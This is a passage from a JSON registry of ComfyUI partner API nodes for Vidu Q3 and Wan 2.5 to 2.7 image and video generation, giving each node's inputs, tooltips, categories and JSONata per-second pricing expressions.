"inputs": {"required": {"resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["720p", "1080p", "2K"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds.", "default": 5, "min": 1, "max": 16, "step": 1, "display": "slider"}], "audio": ["BOOLEAN", {"tooltip": "When enabled, outputs video with sound (including dialogue and sound effects).", "default": false}]}}}, {"key": "viduq3-turbo", "inputs": {"required": {"resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["720p", "1080p"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds.", "default": 5, "min": 1, "max": 16, "step": 1, "display": "slider"}], "audio": ["BOOLEAN", {"tooltip": "When enabled, outputs video with sound (including dialogue and sound effects).", "default": false}]}}}]}], "image": ["IMAGE", {"tooltip": "An image to be used as the start frame of the generated video."}], "prompt": ["STRING", {"tooltip": "An optional text prompt for video generation (max 2000 characters).", "default": "", "multiline": true}], "seed": ["INT", {"default": 1, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "image", "prompt", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Vidu3ImageToVideoNode", "display_name": "Vidu Q3 Image-to-Video Generation", "description": "Generate a video from an image and an optional prompt.", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.duration", "type": "INT"}, {"name": "model.resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $d := $lookup(widgets, \"model.duration\");\n $contains(widgets.model, \"turbo\")\n ? (\n $rate := $lookup({\"720p\": 0.06, \"1080p\": 0.08}, $res);\n {\"type\":\"usd\",\"usd\": $rate * $d}\n )\n : (\n $rate := $lookup({\"720p\": 0.15, \"1080p\": 0.16, \"2k\": 0.2}, $res);\n {\"type\":\"usd\",\"usd\": $rate * $d}\n )\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Vidu3StartEndToVideoNode": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for video generation.", "options": [{"key": "viduq3-pro", "inputs": {"required": {"resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["720p", "1080p"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds.", "default": 5, "min": 1, "max": 16, "step": 1, "display": "slider"}], "audio": ["BOOLEAN", {"tooltip": "When enabled, outputs video with sound (including dialogue and sound effects).", "default": false}]}}}, {"key": "viduq3-turbo", "inputs": {"required": {"resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["720p", "1080p"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds.", "default": 5, "min": 1, "max": 16, "step": 1, "display": "slider"}], "audio": ["BOOLEAN", {"tooltip": "When enabled, outputs video with sound (including dialogue and sound effects).", "default": false}]}}}]}], "first_frame": ["IMAGE", {}], "end_frame": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Prompt description (max 2000 characters).", "multiline": true}], "seed": ["INT", {"default": 1, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "first_frame", "end_frame", "prompt", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Vidu3StartEndToVideoNode", "display_name": "Vidu Q3 Start/End Frame-to-Video Generation", "description": "Generate a video from a start frame, an end frame, and a prompt.", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.duration", "type": "INT"}, {"name": "model.resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $d := $lookup(widgets, \"model.duration\");\n $contains(widgets.model, \"turbo\")\n ? (\n $rate := $lookup({\"720p\": 0.06, \"1080p\": 0.08}, $res);\n {\"type\":\"usd\",\"usd\": $rate * $d}\n )\n : (\n $rate := $lookup({\"720p\": 0.15, \"1080p\": 0.16}, $res);\n {\"type\":\"usd\",\"usd\": $rate * $d}\n )\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanTextToImageApi": {"input": {"required": {"model": ["COMBO", {"tooltip": "Model to use.", "multiselect": false, "options": ["wan2.5-t2i-preview"]}], "prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "Negative prompt describing what to avoid.", "default": "", "multiline": true}], "width": ["INT", {"default": 1024, "min": 768, "max": 1440, "step": 32}], "height": ["INT", {"default": 1024, "min": 768, "max": 1440, "step": 32}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "prompt_extend": ["BOOLEAN", {"tooltip": "Whether to enhance the prompt with AI assistance.", "advanced": true, "default": true}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt"], "optional": ["negative_prompt", "width", "height", "seed", "prompt_extend", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "WanTextToImageApi", "display_name": "Wan Text to Image", "description": "Generates an image based on a text prompt.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/image/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.03}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanImageToImageApi": {"input": {"required": {"model": ["COMBO", {"tooltip": "Model to use.", "default": "wan2.5-i2i-preview", "multiselect": false, "options": ["wan2.5-i2i-preview"]}], "image": ["IMAGE", {"tooltip": "Single-image editing or multi-image fusion. Maximum 2 images."}], "prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "Negative prompt describing what to avoid.", "default": "", "multiline": true}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "image", "prompt"], "optional": ["negative_prompt", "seed", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "WanImageToImageApi", "display_name": "Wan Image to Image", "description": "Generates an image from one or two input images and a text prompt. The output image is currently fixed at 1.6 MP, and its aspect ratio matches the input image(s).", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/image/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.03}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanTextToVideoApi": {"input": {"required": {"model": ["COMBO", {"tooltip": "Model to use.", "default": "wan2.6-t2v", "multiselect": false, "options": ["wan2.5-t2v-preview", "wan2.6-t2v"]}], "prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "Negative prompt describing what to avoid.", "default": "", "multiline": true}], "size": ["COMBO", {"default": "720p: 1:1 (960x960)", "multiselect": false, "options": ["480p: 1:1 (624x624)", "480p: 16:9 (832x480)", "480p: 9:16 (480x832)", "720p: 1:1 (960x960)", "720p: 16:9 (1280x720)", "720p: 9:16 (720x1280)", "720p: 4:3 (1088x832)", "720p: 3:4 (832x1088)", "1080p: 1:1 (1440x1440)", "1080p: 16:9 (1920x1080)", "1080p: 9:16 (1080x1920)", "1080p: 4:3 (1632x1248)", "1080p: 3:4 (1248x1632)"]}], "duration": ["INT", {"tooltip": "A 15-second duration is available only for the Wan 2.6 model.", "default": 5, "min": 5, "max": 15, "step": 5, "display": "number"}], "audio": ["AUDIO", {"tooltip": "Audio must contain a clear, loud voice, without extraneous noise or background music."}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "generate_audio": ["BOOLEAN", {"tooltip": "If no audio input is provided, generate audio automatically.", "advanced": true, "default": false}], "prompt_extend": ["BOOLEAN", {"tooltip": "Whether to enhance the prompt with AI assistance.", "advanced": true, "default": true}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}], "shot_type": ["COMBO", {"tooltip": "Specifies the shot type for the generated video, that is, whether the video is a single continuous shot or multiple shots with cuts. This parameter takes effect only when prompt_extend is True.", "advanced": true, "multiselect": false, "options": ["single", "multi"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt"], "optional": ["negative_prompt", "size", "duration", "audio", "seed", "generate_audio", "prompt_extend", "watermark", "shot_type"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "WanTextToVideoApi", "display_name": "Wan Text to Video", "description": "Generates a video based on a text prompt.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "INT"}, {"name": "size", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $ppsTable := { \"480p\": 0.05, \"720p\": 0.1, \"1080p\": 0.15 };\n $resKey := $substringBefore(widgets.size, \":\");\n $pps := $lookup($ppsTable, $resKey);\n { \"type\": \"usd\", \"usd\": $round($pps * widgets.duration, 2) }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanImageToVideoApi": {"input": {"required": {"model": ["COMBO", {"tooltip": "Model to use.", "default": "wan2.6-i2v", "multiselect": false, "options": ["wan2.5-i2v-preview", "wan2.6-i2v"]}], "image": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "Negative prompt describing what to avoid.", "default": "", "multiline": true}], "resolution": ["COMBO", {"default": "720P", "multiselect": false, "options": ["480P", "720P", "1080P"]}], "duration": ["INT", {"tooltip": "Duration 15 available only for WAN2.6 model.", "default": 5, "min": 5, "max": 15, "step": 5, "display": "number"}], "audio": ["AUDIO", {"tooltip": "Audio must contain a clear, loud voice, without extraneous noise or background music."}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "generate_audio": ["BOOLEAN", {"tooltip": "If no audio input is provided, generate audio automatically.", "advanced": true, "default": false}], "prompt_extend": ["BOOLEAN", {"tooltip": "Whether to enhance the prompt with AI assistance.", "advanced": true, "default": true}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}], "shot_type": ["COMBO", {"tooltip": "Specifies the shot type for the generated video, that is, whether the video is a single continuous shot or multiple shots with cuts. This parameter takes effect only when prompt_extend is True.", "advanced": true, "multiselect": false, "options": ["single", "multi"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "image", "prompt"], "optional": ["negative_prompt", "resolution", "duration", "audio", "seed", "generate_audio", "prompt_extend", "watermark", "shot_type"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "WanImageToVideoApi", "display_name": "Wan Image to Video", "description": "Generates a video from the first frame and a text prompt.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $ppsTable := { \"480p\": 0.05, \"720p\": 0.1, \"1080p\": 0.15 };\n $pps := $lookup($ppsTable, widgets.resolution);\n { \"type\": \"usd\", \"usd\": $round($pps * widgets.duration, 2) }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanReferenceVideoApi": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["wan2.6-r2v"]}], "prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese. Use identifiers such as `character1` and `character2` to refer to the reference characters.", "default": "", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative prompt describing what to avoid.", "default": "", "multiline": true}], "reference_videos": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_video": ["VIDEO", {}]}}, "names": ["character1", "character2", "character3"], "min": 1}}], "size": ["COMBO", {"multiselect": false, "options": ["720p: 1:1 (960x960)", "720p: 16:9 (1280x720)", "720p: 9:16 (720x1280)", "720p: 4:3 (1088x832)", "720p: 3:4 (832x1088)", "1080p: 1:1 (1440x1440)", "1080p: 16:9 (1920x1080)", "1080p: 9:16 (1080x1920)", "1080p: 4:3 (1632x1248)", "1080p: 3:4 (1248x1632)"]}], "duration": ["INT", {"default": 5, "min": 5, "max": 10, "step": 5, "display": "slider"}], "seed": ["INT", {"default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "shot_type": ["COMBO", {"tooltip": "Specifies the shot type for the generated video, that is, whether the video is a single continuous shot or multiple shots with cuts.", "advanced": true, "multiselect": false, "options": ["single", "multi"]}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "negative_prompt", "reference_videos", "size", "duration", "seed", "shot_type", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "WanReferenceVideoApi", "display_name": "Wan Reference to Video", "description": "Use the character and voice from input videos, combined with a prompt, to generate a new video that maintains character consistency.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "size", "type": "COMBO"}, {"name": "duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $rate := $contains(widgets.size, \"1080p\") ? 0.15 : 0.10;\n $inputMin := 2 * $rate;\n $inputMax := 5 * $rate;\n $outputPrice := widgets.duration * $rate;\n {\n \"type\": \"range_usd\",\n \"min_usd\": $inputMin + $outputPrice,\n \"max_usd\": $inputMax + $outputPrice\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Wan2TextToVideoApi": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "wan2.7-t2v", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative prompt describing what to avoid.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4"]}], "duration": ["INT", {"default": 5, "min": 2, "max": 15, "step": 1, "display": "number"}]}}}]}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "prompt_extend": ["BOOLEAN", {"tooltip": "Whether to enhance the prompt with AI assistance.", "advanced": true, "default": true}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "optional": {"audio": ["AUDIO", {"tooltip": "Audio for driving video generation (e.g., lip sync, beat-matched motion). Duration: 3s-30s. If not provided, the model automatically generates matching background music or sound effects."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "seed", "prompt_extend", "watermark"], "optional": ["audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Wan2TextToVideoApi", "display_name": "Wan 2.7 Text to Video", "description": "Generates a video based on a text prompt using the Wan 2.7 model.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $ppsTable := { \"720p\": 0.1, \"1080p\": 0.15 };\n $pps := $lookup($ppsTable, $res);\n { \"type\": \"usd\", \"usd\": $pps * $dur }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Wan2ImageToVideoApi": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "wan2.7-i2v", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative prompt describing what to avoid.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "duration": ["INT", {"default": 5, "min": 2, "max": 15, "step": 1, "display": "number"}]}}}]}], "first_frame": ["IMAGE", {"tooltip": "First frame image. The output aspect ratio is derived from this image."}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "prompt_extend": ["BOOLEAN", {"tooltip": "Whether to enhance the prompt with AI assistance.", "advanced": true, "default": true}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "optional": {"last_frame": ["IMAGE", {"tooltip": "Last frame image. The model generates a video transitioning from first to last frame."}], "audio": ["AUDIO", {"tooltip": "Audio for driving video generation (e.g., lip sync, beat-matched motion). Duration: 2s-30s. If not provided, the model automatically generates matching background music or sound effects."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "first_frame", "seed", "prompt_extend", "watermark"], "optional": ["last_frame", "audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Wan2ImageToVideoApi", "display_name": "Wan 2.7 Image to Video", "description": "Generate a video from a first-frame image, with optional last-frame image and audio.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $ppsTable := { \"720p\": 0.1, \"1080p\": 0.15 };\n $pps := $lookup($ppsTable, $res);\n { \"type\": \"usd\", \"usd\": $pps * $dur }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Wan2VideoContinuationApi": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "wan2.7-i2v", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative prompt describing what to avoid.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "duration": ["INT", {"tooltip": "Total output duration in seconds. The model generates continuation to fill the remaining time after the input clip.", "default": 5, "min": 2, "max": 15, "step": 1, "display": "number"}]}}}]}], "first_clip": ["VIDEO", {"tooltip": "Input video to continue from. Duration: 2s-10s. The output aspect ratio is derived from this video."}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "prompt_extend": ["BOOLEAN", {"tooltip": "Whether to enhance the prompt with AI assistance.", "advanced": true, "default": true}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "optional": {"last_frame": ["IMAGE", {"tooltip": "Last frame image. The continuation will transition towards this frame."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "first_clip", "seed", "prompt_extend", "watermark"], "optional": ["last_frame"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Wan2VideoContinuationApi", "display_name": "Wan 2.7 Video Continuation", "description": "Continue a video from where it left off, with optional last-frame control.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $ppsTable := { \"720p\": 0.1, \"1080p\": 0.15 };\n $pps := $lookup($ppsTable, $res);\n $outputPrice := $pps * $dur;\n {\n \"type\": \"range_usd\",\n \"min_usd\": 2 * $pps + $outputPrice,\n \"max_usd\": 5 * $pps + $outputPrice\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Wan2VideoEditApi": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "wan2.7-videoedit", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Editing instructions or style transfer requirements.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "ratio": ["COMBO", {"tooltip": "Aspect ratio. If not changed, approximates the input video ratio.", "multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4"]}], "duration": ["COMBO", {"tooltip": "Output duration in seconds. 'auto' matches the input video duration. A specific value truncates from the start of the video.", "default": "auto", "multiselect": false, "options": ["auto", "2", "3", "4", "5", "6", "7", "8", "9", "10"]}], "reference_images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_image": ["IMAGE", {}]}}, "names": ["image1", "image2", "image3", "image4"], "min": 0}}]}}}]}], "video": ["VIDEO", {"tooltip": "The video to edit."}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "audio_setting": ["COMBO", {"tooltip": "'auto': model decides whether to regenerate audio based on the prompt. 'origin': preserve the original audio from the input video.", "advanced": true, "default": "auto", "multiselect": false, "options": ["auto", "origin"]}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "video", "seed", "audio_setting", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Wan2VideoEditApi", "display_name": "Wan 2.7 Video Edit", "description": "Edit a video using text instructions, reference images, or style transfer.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $ppsTable := { \"720p\": 0.1, \"1080p\": 0.15 };\n $pps := $lookup($ppsTable, $res);\n { \"type\": \"usd\", \"usd\": $pps, \"format\": { \"suffix\": \"/second\", \"note\": \"(input + output)\" } }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Wan2ReferenceVideoApi": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "wan2.7-r2v", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Prompt describing the video. Use identifiers such as 'character1' and 'character2' to refer to the reference characters.", "default": "", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative prompt describing what to avoid.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4"]}], "duration": ["INT", {"default": 5, "min": 2, "max": 10, "step": 1, "display": "number"}], "reference_videos": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_video": ["VIDEO", {}]}}, "names": ["video1", "video2", 